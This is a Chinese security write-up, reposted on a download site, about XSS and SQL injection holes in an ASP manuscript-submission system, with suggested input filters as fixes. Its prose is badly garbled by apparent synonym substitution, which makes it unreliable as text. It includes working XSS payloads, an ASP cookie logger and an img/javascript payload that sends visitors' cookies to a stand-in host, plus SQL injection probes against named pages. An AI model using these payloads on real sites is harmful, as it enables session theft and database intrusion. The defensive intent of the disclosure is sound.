大雀软件园

首页 软件下载 安卓市场 苹果市场 电脑游戏 安卓游戏 文章资讯 驱动下载
技术开发 网页设计 图形图象 数据库 网络媒体 网络安全 站长CLUB 操作系统 媒体动画 安卓相关
当前位置: 首页 -> 网络安全 -> 网络其他 -> 约稿奇兵存在大量漏洞

约稿奇兵存在大量漏洞

时间: 2021-07-31 作者:daque

约稿奇兵存在大量漏洞刻画: 稿约马队是由劲风独力开拓与保护的一个集作家投稿、编纂审阅稿件、稿酬处置等诸多有创新意识的功效为一体的asp步调。因为洪量文献没有对提交的表单举行字符过滤。引导不法用户可提交经心结构的语句实行跨站剧本,以致欣赏者中跷跷板、消息揭发、重则方法化硬盘。其二,因为view_pf.asp文献没有过滤用户提交传播给sql查问的输出,引导长途报复者不妨运用这个缺点举行sql injection报复,获得大肆用户的暗号。asp版的稿约马队劲风仍旧遏止开拓了,取而代之的是用asp.net开拓的稿约通,估计将在2004年7月份颁布,大师刮目相待吧,断定劲风能给咱们带来更大的欣喜。检验和测定进程: 一、跨站剧本报复 既是是盲人摸象式的尝试这个未公然的稿约马队,证明会有蛮多如许那么的缺点。比方:剧本题目,最大略的,用“'”和“;”以及“>”动作用户名备案,体例并没有提醒遏止提交不法字符,所以用“<script>alert();</script>”为用户名备案。怅然,单表域控制了字符数目,如许就不妨控制字符长度了?呵呵,希望没有遏止从外部提交数据。所以做一个备案页,将form action指向该站点备案页,居然备案胜利,提交的时侯创造,该站点有两种会员不妨备案,一种是径直备案的(作家),一种是备案后要处置员考证才不妨运用的(编纂),方才备案的不过个作家,这次备案编纂看看。仍旧按方才的本领,备案了会员<script>alert('1');</script>提交到结果,体例给出了提醒:您仍旧备案胜利。而空过两行后又展示,您备案的用户名里含有'<等不法字符,请从新备案。这边又是步调上的一个bug,过滤没有实足实行,先尽管那么多,加入看看内里的货色怎样。 加入后,先到货员列表察看会员,居然弹出对话框两个,想要的功效实行了,如许跨站报复就不妨实行了。加入窜改本人的材料中,内里百般材料要填写的很多。所以......试验了一下如实地方栏里填写“<script>alert();</script>”确认。再察看地方,又有对话框了,这就成了,不必想了,所有站点这个题目基础没有处置好。 在前方咱们仍旧说过,再有编纂备案后是须要处置职员认证才大概经过考证的。这就...嘿嘿...所以备案用户名test,呵呵,干什么不径直取?不许叫处置员质疑嘛,叫他进去后再懊悔.在备案会员材料里好好的结构了一番。地方栏取cookies连载打字与印刷到其余站点的某个文本文献(这边就不多说了):取cookies原码如次: <% testfile=server.mappath("fqytest.txt") msg=request("msg") set fs=server.createobject("scripting.filesystemobject") set thisfile=fs.opentextfile(testfile,8,true,0) thisfile.writeline(""&msg& "") thisfile.close set fs = nothing %> <script>window.location(http://www.e3i5.com');</script> 将之上代码生存为asp文献就不妨了,而后填入以次代码就不妨发端搜集cookie啦。 <img src="javascript:window.open(http://youromain/cookie.php?'+document.cookie)"> 至于怎样令欣赏用户被方法化。大师仍旧去看看关系的作品吧。仍旧运用javascript。因为妨害太大。代码不简略了…… 二、sql injection报复 除去上头所说的跨站剧本报复外。即是这个sql injection缺点了。细工检验和测定。创造这个缺点生存于xuanti_xiugai1.asp(选题查问)、view_pf.asp(会员查问)两个文献,可见查看了提交的字符中能否有单引号和分号。查看的进程大概有些各别。但仍旧差不离的。纵然过滤了两个那特出字符。但体例是access数据库的,仅过滤这两个字符基础不许拦住报复者。由于这两个文献没有过滤空格,咱们仿造玩sql injection。提交: xuanti_xiugai1.asp?xuan_id=56 and 1=1 //平常表露 xuanti_xiugai1.asp?xuan_id=56 and 1=2 //劝告:你正在计划不法欣赏旁人的选题 view_pf.asp?id=74 and 1=1 //平常表露 view_pf.asp?id=74 and 1=2 //材料十足表露空 好了。领会该做什么了吗?跨表查问。这然而access数据库最常用的sql injection报复本领了。对于精细的报复本领,大师不妨参考pskey的《sql injection whit access》和我的《一个跨表查问的例子》都很精细。咱们此次工作是检验和测定步调的安定性。手段仍旧到达了。 感动风清扬的介入。 处置计划:对于这个稿约马队的提防本领也和很多步调一律。都是很一致的题目——过滤字符。 第一个题目即是跨站剧本报复,因为没有举行剧本过滤。引导不妨结构特出html代码举行报复,以是咱们该当加上过滤的代码来过滤:htmlencode(加你的援用因变量名) 如: htmlencode(&username) 就不妨大略的樊篱剧本报复了。其余,对于跨站和外部提交的题目,对提交文献如post.asp,reg.asp之类文献加一个检查就不妨了。 代码如次: if instr(request.servervariables("http_referer"),"e3i5")<1 then response.redirect "index.asp" end if 'e3i5 为你所用站点的域名独占局部.固然也不妨运用地方贯穿里有的的字符串,都不妨用. '或 if instr(request.servervariables("http_referer"),"http://"&request.servervariables("host") )<1 then response.redirect "index.asp" end if 其余,不妨参考一下动网的char.asp文献。 第二个题目即是sql injection报复,有人觉得sql injection报复变幻无穷。难以提防。而且此刻牛人这么多。本来再如何精巧的本领,只有对用户提交的变量举行了完备的过滤,都不大概有题目。至于提防本领嘛本领太多了。给出一段我从来用的代码: dim id id=replace(request("id")," ","") if isnumeric(id)=0 or id="" then response.write "遏止提交不法语句!" response.end end if 放在文献前方就不妨查看提交的变量id了。本领简直太多,以是我就不说了。从表面上去说,对用户提交的变量。只能是假名和数字。以是步调要尽大概多过滤少许不法字符。单引号、双引号、分号、空格、<、>等。 这次检验和测定也中断了,步调不大概很完备,我的程度也有限。直观上这个步调的bug该当再有。即使能把方才所创造的缺点补缀好。在盲人摸象的情景下。仍旧是十分难更深刻了。由于至始至终咱们都没有得看到步调源代码和数据库的构造。

热门阅览

最新排行

Copyright © 2019-2021 大雀软件园(www.daque.cn) All Rights Reserved.